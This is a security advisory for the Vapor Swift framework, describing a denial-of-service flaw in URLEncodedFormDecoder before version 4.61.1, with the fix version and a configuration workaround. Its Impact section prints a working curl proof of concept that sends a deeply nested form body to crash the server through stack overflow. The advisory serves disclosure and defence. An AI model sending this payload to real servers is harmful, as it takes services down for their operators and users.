Vapor vulnerable to denial of service in URLEncodedFormDecoder

Vapor is an HTTP web framework for Swift. Vapor versions earlier than 4.61.1 are vulnerable to a denial of service in the URLEncodedFormDecoder.

Impact

When using automatic content decoding, e.g.

app.post("foo") { request -> String in
  let foo = try request.content.decode(Foo.self)
  return "\(foo)"
}

An attacker can craft a request body that can make the server crash with the following request:

curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo

The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow.

Patches

Fixed in 4.61.1

Workarounds

If you don't need to decode Form URL Encoded data, you can disable the ContentConfiguration so it won't be used. E.g. in configure.swift

var contentConfig = ContentConfiguration()
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .json)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .json)
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .jsonAPI)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .jsonAPI)
ContentConfiguration.global = contentConfig

For more information

If you have any questions or comments about this advisory:

• Open an issue in the Vapor repo
• Ask in Vapor Discord